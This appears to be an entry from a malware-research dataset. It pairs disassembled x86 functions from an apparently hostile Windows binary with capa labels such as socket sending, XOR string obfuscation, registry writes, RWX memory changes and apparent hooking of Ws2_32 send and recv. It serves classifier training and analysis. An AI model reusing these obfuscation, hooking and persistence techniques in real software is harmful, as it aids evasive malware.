joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10030f00
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x80004
call fcn.1008ea30
push ebx
push esi
push edi
push 0x101ce334
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x100ce31c]
cmp ebx, 0xffffffff
je 0x10030fc0
cmp byte [0x101ce350], 0
je 0x10030fc0
mov esi, dword [ebp + 0xc]
lea eax, [esp + 0x10]
push esi
push dword [ebp + 8]
push eax
call fcn.1006fae0
mov al, byte [esp + 0x1c]
add esp, 0xc
cmp al, 0xc1
jne 0x10030f63
push dword [esp + 0x12]
lea edx, [esi - 3]
lea ecx, [esp + 0x17]
jmp 0x10030f7f
cmp al, 0xc3
jne 0x10030f74
push dword [esp + 0x15]
lea edx, [esi - 6]
lea ecx, [esp + 0x1a]
jmp 0x10030f7f
push dword [esp + 0x13]
lea edx, [esi - 4]
lea ecx, [esp + 0x18]
call fcn.100634a0
mov eax, dword [0x101ce328]
add esp, 4
test eax, eax
jle 0x10031007
lea ecx, [eax + esi]
cmp ecx, 0x80000
jle 0x10030fd6
push ecx
mov ecx, 7
call fcn.100646a0
push eax
push 0
push 0x101ce6e8
call fcn.1005c160
add esp, 0x10
mov ecx, 0x100ce318
call fcn.10030cd0
push 0x101ce334
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push esi
lea ecx, [esp + 0x14]
push ecx
lea eax, [eax + 0x1014e328]
push eax
call fcn.1006fae0
add esp, 0xc
add dword [0x101ce328], esi
push 0x101ce334
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
xor edi, edi
test esi, esi
jle 0x10030ff1
nop dword [eax]
push 0
push esi
lea eax, [esp + 0x18]
add eax, edi
push eax
push ebx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10031036
sub esi, eax
add edi, eax
test esi, esi
jle 0x10030ff1
mov ebx, dword [0x100ce31c]
jmp 0x10031010
mov ebx, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call ebx
cmp eax, 0x2733
jne 0x10031093
mov ecx, dword [0x101ce328]
lea eax, [ecx + esi]
cmp eax, 0x80000
jle 0x10031060
push eax
mov ecx, 8
jmp 0x10030fa1
lea eax, [esp + 0x10]
add eax, edi
push esi
push eax
lea eax, [ecx + 0x1014e328]
push eax
call fcn.1006fae0
add dword [0x101ce328], esi
add esp, 0xc
push 0x101ce334
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
call ebx
push eax
mov ecx, 9
jmp 0x10030fa1
Function at 0x100310a0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi + 0x10001c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edi, edi
cmp dword [esi + 0x100010], edi
jle 0x100310f2
lea eax, [esi + 0x80010]
push 0
push dword [esi + 0x100010]
add eax, edi
push eax
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x100310ff
sub dword [esi + 0x100010], eax
add edi, eax
cmp dword [esi + 0x100010], 0
lea eax, [esi + 0x80010]
jg 0x100310c2
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10031137
push dword [esi + 0x100010]
lea eax, [esi + 0x80010]
add eax, edi
push eax
lea eax, [esi + 0x80010]
push eax
call fcn.1006e0e0
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
mov ecx, 0xa
call fcn.100646a0
push eax
push 0
push 0x101ce6e8
call fcn.1005c160
add esp, 0x10
mov ecx, esi
call fcn.10030cd0
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor al, al
pop ebx
ret
Function at 0x10031420
Capabilities:
Check if file exists
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8c
push esi
mov dword [esp + 0x10], 0
mov edx, 0xf
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + str.LMEZZQY_KEYnnnqmSLLVPH]
xor al, dl
mov byte [esp + ecx + 0x34], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x18
jb 0x10031440
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [esp + 0x34]
push eax
mov byte [esp + 0x50], 0
call esi
test eax, eax
jne 0x10031515
mov edx, 0x15
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + str.V_Kxnz_pg_wHDF]
xor al, dl
mov byte [esp + ecx + 0x14], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x10031480
lea eax, [esp + 0x14]
mov byte [esp + 0x23], 0
push eax
call esi
test eax, eax
jne 0x10031515
mov edx, 6
xor ecx, ecx
nop
mov al, byte [ecx + str.BTMk]
xor al, dl
mov byte [esp + ecx + 0x24], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x100314b0
lea eax, [esp + 0x24]
mov byte [esp + 0x33], 0
push eax
call esi
test eax, eax
jne 0x10031515
mov eax, 0x100a88d0
lea ecx, [esp + 0x70]
sub eax, 0x32593faf
push eax
call fcn.10033650
push eax
call esi
test eax, eax
jne 0x10031515
mov eax, str.S_Kxnz_pg_wHDF
lea ecx, [esp + 0x80]
sub eax, 0x43f2140e
push eax
call fcn.10033690
push eax
call esi
test eax, eax
jne 0x10031515
xor al, al
jmp 0x10031517
mov al, 1
test al, al
jne 0x10031621
mov edx, 6
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str.UHN__JHRByr_gzpcDNsuxrilbWQV_HSLXXEB_s_ZWSDdBKPRLZ2]
xor al, dl
mov byte [esp + ecx + 0x34], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x3b
jb 0x10031530
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
lea eax, [esp + 0x40]
mov byte [esp + 0x7b], 0
push eax
push closesocket
call esi
test eax, eax
jne 0x100315a6
push 4
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
push eax
push 4
push 0
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0x75526f4e
push eax
push dword [esp + 0x1c]
mov word [esp + 0x30], 0x6e
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, 0xa1
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x100a892c]
xor al, dl
mov byte [esp + ecx + 0x34], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x2a
jb 0x100315b0
lea eax, [esp + 0x10]
mov byte [esp + 0x5e], 0
push eax
push 0xf003f
push 0
lea eax, [esp + 0x40]
push eax
push closesocket
call esi
test eax, eax
jne 0x10031621
mov dword [esp + 0xc], eax
lea ecx, [esp + 0x14]
push 4
lea eax, [esp + 0x10]
push eax
push 4
mov eax, 0x100a8958
push 0
sub eax, 0x38d41ae2
push eax
call fcn.100336d0
push eax
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10031780
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov edi, ecx
mov al, byte [edi + 4]
test al, al
jne 0x10031928
mov dword [0x101da230], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, dword [edi + 8]
mov dword [0x101da2b4], eax
mov eax, dword [edi + 0xc]
mov dword [0x101da1b8], eax
mov eax, dword [edi + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [0x101da234], eax
mov eax, dword [edi + 0x14]
mov dword [0x101da278], eax
mov eax, dword [edi + 0x18]
mov dword [0x101da2bc], eax
mov eax, dword [edi + 0x1c]
mov dword [0x101da220], eax
mov eax, dword [edi + 0x20]
mov dword [0x101da2b8], eax
mov eax, dword [edi + 0x24]
mov dword [0x101da290], eax
mov eax, dword [edi + 0x28]
mov dword [0x101da210], eax
lea eax, [ebp - 4]
push eax
push 0x40
push 0x11
push 0x101da27c
call esi
movups xmm0, xmmword [edi + 0x3a]
movups xmmword [0x101da27c], xmm0
movzx eax, byte [edi + 0x4a]
mov byte [0x101da28c], al
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 0x11
push 0x101da27c
call esi
movzx eax, byte [edi + 0x2c]
mov dword [0x101da204], eax
movzx eax, byte [edi + 0x2d]
mov dword [0x101da274], eax
movzx eax, byte [edi + 0x30]
mov dword [0x101da238], eax
movzx eax, byte [edi + 0x31]
mov dword [0x101da1c0], eax
movzx eax, byte [edi + 0x2f]
mov dword [0x101da20c], eax
mov eax, dword [edi + 0x5c]
mov dword [0x101ce428], eax
lea eax, [edi + 0x4b]
push eax
push 0x1009f034
push 0x101ce45b
call fcn.1002c420
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x40
push 0x20
push 0x101da294
call esi
push 0x20
push 0x101d3744
push 0x101da294
call fcn.1006fae0
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 0x20
push 0x101da294
call esi
mov eax, dword [0x101ce6a0]
mov dword [0x101da21c], eax
movzx eax, byte [edi + 0x32]
inc al
mov byte [0x101da268], al
movzx eax, byte [edi + 0x34]
add al, 2
mov byte [0x101da269], al
movzx eax, byte [edi + 0x35]
add al, 3
mov byte [0x101da26a], al
movzx eax, byte [edi + 0x37]
add al, 4
mov byte [0x101da26b], al
movzx eax, byte [edi + 0x38]
add al, 5
mov byte [0x101da26c], al
mov eax, dword [0x101ce6a4]
mov dword [0x101da264], eax
lea eax, [ebp - 4]
push eax
push 0x40
push 0x11
push 0x101da27c
call esi
movups xmm0, xmmword [edi + 0x3a]
movups xmmword [0x101da27c], xmm0
movzx eax, byte [edi + 0x4a]
mov byte [0x101da28c], al
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 0x11
push 0x101da27c
call esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
movzx eax, al
dec eax
cmp eax, 4
ja case.default.0x10031931
jmp dword [eax*4 + 0x1003198c]
push 0x1388
push 8
jmp 0x1003196c
push 0x1388
push 9
jmp 0x1003196c
push 0x1388
push 0xa
jmp 0x1003196c
push 0x1388
push 0xb
jmp 0x1003196c
push 0x1388
push 0xc
jmp 0x1003196c
push 0x1388
push 0xd
call fcn.1005c660
push eax
push ecx
mov edx, 1
mov ecx, 0x101d8640
call fcn.100635d0
add esp, 0xc
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10032710
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, ecx
mov ecx, 0x1e
movzx eax, byte [esi + 4]
push eax
call fcn.100646a0
push eax
push 0
push 0x101ce6e8
call fcn.1005c160
movzx eax, byte [esi + 4]
add esp, 0x10
cmp eax, 0x10
ja case.0x10032745.7
jmp dword [eax*4 + 0x100328ec]
push 0x1388
push 0xf
jmp 0x100328cc
push 0x1388
push 0x10
jmp 0x100328cc
push 0x1388
push 0x11
jmp 0x100328cc
push 0x1388
push 0x12
jmp 0x100328cc
push 0x1388
push 0x13
jmp 0x100328cc
push 0x1388
push 0x16
jmp 0x100328cc
push 0x1388
push 0x18
jmp 0x100328cc
push 0x1388
push 0x19
jmp 0x100328cc
push 0x7d0
push 0x1a
call fcn.1005c660
push eax
push 1
mov edx, 2
mov ecx, 0x101d8768
call fcn.100635d0
add esp, 0xc
call fcn.10062f90
pop esi
mov esp, ebp
pop ebp
ret
push 0xf1
push 0xc1
mov eax, 0x404b90
mov ecx, 0x101da1c4
call eax
push 2
mov esi, 0x4050d0
mov ecx, 0x101da1c4
call esi
push 2
mov ecx, 0x101da1c4
call esi
push 0
push 1
mov eax, 0x404d70
mov ecx, 0x101da1c4
call eax
push 0x32
push 0
push 0x101da1c4
call fcn.10070060
add esp, 0xc
pop esi
mov esp, ebp
pop ebp
ret
call fcn.10031420
mov edx, 0xad
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x100a8ab0]
xor al, dl
mov byte [ebp + ecx - 0x11], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x10
jb 0x10032840
lea eax, [ebp - 0x11]
mov byte [ebp - 1], 0
push eax
call fcn.1007bc18
add esp, 4
pop esi
mov esp, ebp
pop ebp
ret
cmp dword [0x101daa6c], 0
jne case.0x10032745.0
mov dword [0x101daa6c], 0xe
push 0
push 0
push ecx
push 0
push 0x10031ca0
sub esp, 8
push 0
call fcn.10062a20
pop esi
mov esp, ebp
pop ebp
ret
cmp dword [0x101daa6c], 0
jne case.0x10032745.0
mov dword [0x101daa6c], 0xf
jmp 0x10032880
cmp dword [0x101daa6c], 0
jne case.0x10032745.0
mov dword [0x101daa6c], 0x10
jmp 0x10032880
push 0x1388
push 0x15
call fcn.1005c660
push eax
push 1
mov edx, 2
mov ecx, 0x101d8768
call fcn.100635d0
add esp, 0xc
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10032a50
Capabilities:
Get process image filename

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b4
cmp dword [0x101da228], 0
push ebx
push esi
mov esi, edx
mov ebx, ecx
jne 0x10032c71
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x101da228], eax
mov word [ebp - 0xc], 0x5c1
call fcn.1007baf7
and eax, 0x800000ff
jns 0x10032a90
dec eax
or eax, 0xffffff00
inc eax
cmp dword [0x100ce31c], 0xffffffff
mov byte [ebp - 0xa], al
mov byte [ebp - 9], 3
mov byte [ebp - 8], bl
je 0x10032c69
cmp byte [0x101ce350], 0
je 0x10032c69
mov word [ebp - 0xac], 0x9bc1
call fcn.1007baf7
and eax, 0x800000ff
jns 0x10032ad0
dec eax
or eax, 0xffffff00
inc eax
cmp byte [0x101ce69a], 0
mov ecx, dword [0x101ce6a8]
mov edx, dword [0x101ce6ac]
mov byte [ebp - 0xaa], al
mov byte [ebp - 0xa9], 3
mov byte [ebp - 0xa8], bl
movq xmm0, qword [ecx]
movq qword [ebp - 0xa7], xmm0
mov ax, word [ecx + 8]
mov word [ebp - 0x9f], ax
mov al, byte [ecx + 0xa]
mov byte [ebp - 0x9d], al
je 0x10032b3b
mov ecx, dword [edx]
movq xmm0, qword [ecx + 0x38]
movq qword [ebp - 0x9c], xmm0
mov ax, word [ecx + 0x40]
mov word [ebp - 0x94], ax
mov al, byte [ecx + 0x42]
mov byte [ebp - 0x92], al
cmp byte [0x101ce69b], 0
je 0x10032b70
mov ecx, dword [edx]
movq xmm0, qword [ecx + 0x24fc]
movq qword [ebp - 0x9c], xmm0
mov ax, word [ecx + 0x2504]
mov word [ebp - 0x94], ax
mov al, byte [ecx + 0x2506]
mov byte [ebp - 0x92], al
test esi, esi
jne 0x10032b88
push 0x40
lea eax, [ebp - 0x91]
push esi
push eax
call fcn.10070060
add esp, 0xc
jmp 0x10032bad
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x91], xmm0
movups xmm0, xmmword [esi + 0x10]
movups xmmword [ebp - 0x81], xmm0
movups xmm0, xmmword [esi + 0x20]
movups xmmword [ebp - 0x71], xmm0
movups xmm0, xmmword [esi + 0x30]
movups xmmword [ebp - 0x61], xmm0
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x51]
push 0x40
push 0
push eax
call fcn.10070060
add esp, 0xc
test esi, esi
je 0x10032c14
push esi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10032c14
push 0x104
lea eax, [ebp - 0x2b4]
push eax
push esi
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x10032c0d
lea ecx, [ebp - 0x2b4]
call fcn.100633a0
push eax
lea eax, [ebp - 0x51]
push 0x100a8acc
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x51]
mov ecx, 0x20
push eax
lea eax, [ebp - 0x91]
push eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0xa7]
push eax
movzx eax, byte [ebp - 0xa8]
push eax
call fcn.100646a0
push eax
push 0
push 0x101ce6e8
call fcn.1005c160
movzx eax, byte [ebp - 0xab]
add esp, 0x20
push eax
lea eax, [ebp - 0xac]
push eax
call fcn.10030f00
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0xc]
call fcn.10032710
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10033650
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x34
xor eax, eax
mov dl, byte [edi + eax + 0x32593faf]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xf
jb 0x10033661
pop edi
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10033690
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x15
xor eax, eax
mov dl, byte [edi + eax + 0x43f2140e]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xf
jb 0x100336a1
pop edi
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10033a10
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
push esi
mov esi, ecx
test edx, edx
jle 0x10033ab0
push ebx
mov bl, byte [0x101da08f]
mov bh, byte [0x101da08e]
cmp edx, 0x20
jb 0x10033a9b
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10033a3f
dec ecx
or ecx, 0xffffffe0
inc ecx
mov edi, edx
sub edi, ecx
movsx ecx, bl
movd xmm0, ecx
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
movsx ecx, bh
pshufd xmm1, xmm0, 0
movd xmm0, ecx
lea ecx, [esi + 0x10]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
nop
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x10033a70
pop edi
cmp eax, edx
jge 0x10033aaf
nop
mov cl, byte [eax + esi]
xor cl, bl
sub cl, bh
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10033aa0
pop ebx
pop esi
ret

Function at 0x10033ac0
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
push esi
mov esi, ecx
test edx, edx
jle 0x10033b60
push ebx
mov bl, byte [0x101da08e]
mov bh, byte [0x101da08f]
cmp edx, 0x20
jb 0x10033b4b
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10033aef
dec ecx
or ecx, 0xffffffe0
inc ecx
mov edi, edx
sub edi, ecx
movsx ecx, bl
movd xmm0, ecx
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
movsx ecx, bh
pshufd xmm1, xmm0, 0
movd xmm0, ecx
lea ecx, [esi + 0x10]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
nop
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
paddb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
paddb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x10033b20
pop edi
cmp eax, edx
jge 0x10033b5f
nop
mov cl, byte [eax + esi]
add cl, bl
xor cl, bh
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10033b50
pop ebx
pop esi
ret
Function at 0x10033da0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
mov dword [ebp - 8], 0
xor eax, eax
mov si, word [ebp - 8]
nop dword [eax]
nop dword [eax + eax]
movsx dx, byte [eax + 0x101d3724]
movsx ecx, byte [eax + 0x101d3725]
add dx, cx
movsx ecx, byte [eax + 0x101d3727]
add dx, cx
movsx ecx, byte [eax + 0x101d3726]
add dx, cx
add eax, 4
add si, dx
cmp eax, 0x20
jb 0x10033dc0
mov al, byte [0x101da204]
mov word [ebp - 8], si
add al, byte [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov byte [0x101da08f], al
mov eax, dword [ebp - 8]
shr eax, 8
add al, byte [0x101da274]
mov byte [0x101da08e], al
lea eax, [ebp - 8]
push edi
push eax
lea eax, [ebp - 0x13]
mov dword [ebp - 8], 0x76636572
push eax
mov byte [ebp - 4], 0
mov dword [ebp - 0x13], 0x5f327357
mov dword [ebp - 0xf], 0x642e3233
mov word [ebp - 0xb], 0x6c6c
mov byte [ebp - 9], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [0x101da328], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x13]
mov dword [ebp - 8], 0x646e6573
push eax
mov byte [ebp - 4], 0
mov dword [ebp - 0x13], 0x5f327357
mov dword [ebp - 0xf], 0x642e3233
mov word [ebp - 0xb], 0x6c6c
mov byte [ebp - 9], 0
call esi
push eax
call edi
mov dword [0x101da338], eax
mov edx, 0xd4
xor ecx, ecx
mov al, byte [ecx + 0x100a8b70]
xor al, dl
mov byte [ebp + ecx - 0x22], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xc
jb 0x10033e91
mov byte [ebp - 0x16], 0
mov edx, 0x8c
xor ecx, ecx
mov al, byte [ecx + 0x100a8b80]
xor al, dl
mov byte [ebp + ecx - 0x15], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xc
jb 0x10033eb4
lea eax, [ebp - 0x22]
mov byte [ebp - 9], 0
push eax
lea eax, [ebp - 0x15]
push eax
call esi
push eax
call edi
cmp dword [0x101da204], 0
mov esi, eax
mov ecx, dword [0x101da328]
xorps xmm0, xmm0
mov edx, dword [0x101da338]
movq qword [ebp - 0x15], xmm0
mov dword [ebp - 0xd], 0
mov byte [ebp - 9], 0
movq qword [ebp - 0x22], xmm0
mov dword [ebp - 0x1a], 0
mov byte [ebp - 0x16], 0
mov dword [0x101da334], ecx
mov dword [0x101da2e8], edx
mov eax, dword [ecx]
mov dword [0x101da318], eax
movzx eax, byte [ecx + 4]
mov byte [0x101da31c], al
mov eax, dword [edx]
mov dword [0x101da32c], eax
movzx eax, byte [edx + 4]
mov byte [0x101da330], al
mov eax, dword [esi]
mov dword [0x101da320], eax
movzx eax, byte [esi + 4]
mov dword [0x101da314], esi
mov byte [0x101da324], al
pop edi
jne 0x10033f63
cmp dword [0x101da274], 0
je 0x10033fd7
call fcn.10067270
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call fcn.10067750
push 0x10033ce0
push 0x101da334
call fcn.10066ce0
call fcn.100672d0
call fcn.10067270
call esi
push eax
call fcn.10067750
push 0x10033d20
push 0x101da2e8
call fcn.10066ce0
call fcn.100672d0
mov ecx, dword [0x101da328]
mov eax, dword [ecx]
mov dword [0x101da318], eax
movzx eax, byte [ecx + 4]
mov ecx, dword [0x101da338]
mov byte [0x101da31c], al
mov eax, dword [ecx]
mov dword [0x101da32c], eax
movzx eax, byte [ecx + 4]
mov byte [0x101da330], al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1003a490
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 8]
mov edi, eax
and edi, 7
je 0x1003a4b3
cmp eax, edi
jge 0x1003a4ab
call fcn.10039eb0
mov ecx, edi
shr dword [esi + 0xc], cl
sub dword [esi + 8], edi
mov edx, dword [esi + 8]
xor ecx, ecx
test edx, edx
jle 0x1003a4dd
mov edi, dword [esi + 0xc]
nop
mov al, byte [esi + 0xc]
sub edx, 8
mov byte [ebp + ecx - 4], al
inc ecx
shr edi, 8
mov dword [esi + 0xc], edi
test edx, edx
jg 0x1003a4c0
mov dword [esi + 8], edx
cmp ecx, 4
jge 0x1003a4f9
mov edi, dword [esi + 4]
mov eax, dword [esi]
cmp eax, edi
jb 0x1003a4ea
xor dl, dl
jmp 0x1003a4ef
mov dl, byte [eax]
inc eax
mov dword [esi], eax
mov byte [ebp + ecx - 4], dl
inc ecx
cmp ecx, 4
jl 0x1003a4e2
mov eax, dword [ebp - 4]
movzx ecx, byte [ebp - 1]
movzx edi, ah
movzx eax, al
shl edi, 8
add edi, eax
shl ecx, 8
movzx eax, byte [ebp - 2]
add ecx, eax
mov eax, edi
xor eax, 0xffff
cmp ecx, eax
je 0x1003a527
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [esi]
add eax, edi
cmp eax, dword [esi + 4]
ja 0x1003a51f
mov edx, dword [esi + 0x10]
lea eax, [edx + edi]
cmp eax, dword [esi + 0x18]
jbe 0x1003a54a
push edi
mov ecx, esi
call fcn.10039fb0
add esp, 4
test eax, eax
je 0x1003a51f
push edi
push dword [esi]
push dword [esi + 0x10]
call fcn.1006fae0
add dword [esi], edi
add esp, 0xc
add dword [esi + 0x10], edi
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10042450
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x10092588
push eax
mov dword fs:[0], esp
sub esp, 0x128
mov eax, dword [0x101ce6b0]
cmp dword [eax], 5
jb 0x10042578
mov byte [ebp - 0x134], 0xc3
mov dword [ebp - 0x133], 0x10c
call fcn.1007baf7
and eax, 0x800000ff
jns 0x100424a0
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0x12f], al
mov edx, 0xc7
mov byte [ebp - 0x12e], 0x20
xor ecx, ecx
mov al, byte [ecx + 0x100a8c54]
xor al, dl
mov byte [ebp + ecx - 0x1e], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x11
jb 0x100424b4
mov eax, str._t___x
mov byte [ebp - 0xd], 0
sub eax, 0x198ee206
lea ecx, [ebp - 0x26]
push eax
call fcn.10058e50
lea ecx, [ebp - 0x1e]
push ecx
mov ecx, dword [0x7bc4f04]
add ecx, 0x38
push ecx
push eax
lea eax, [ebp - 0x12c]
push eax
call fcn.1002c420
add esp, 0x10
lea eax, [ebp - 0x134]
push 0x10c
push eax
call fcn.10030f00
mov edx, 0xc7
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x100a8c54]
xor al, dl
mov byte [ebp + ecx - 0x1e], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x11
jb 0x10042520
mov byte [ebp - 0xd], 0
push 0x1388
lea eax, [ebp - 0x1e]
mov dword [ebp - 4], 0
push eax
push ecx
mov edx, 2
mov ecx, 0x101d8768
call fcn.100635d0
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
xorps xmm0, xmm0
mov word [ebp - 0xe], 0
movups xmmword [ebp - 0x1e], xmm0
call fcn.10062f90
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret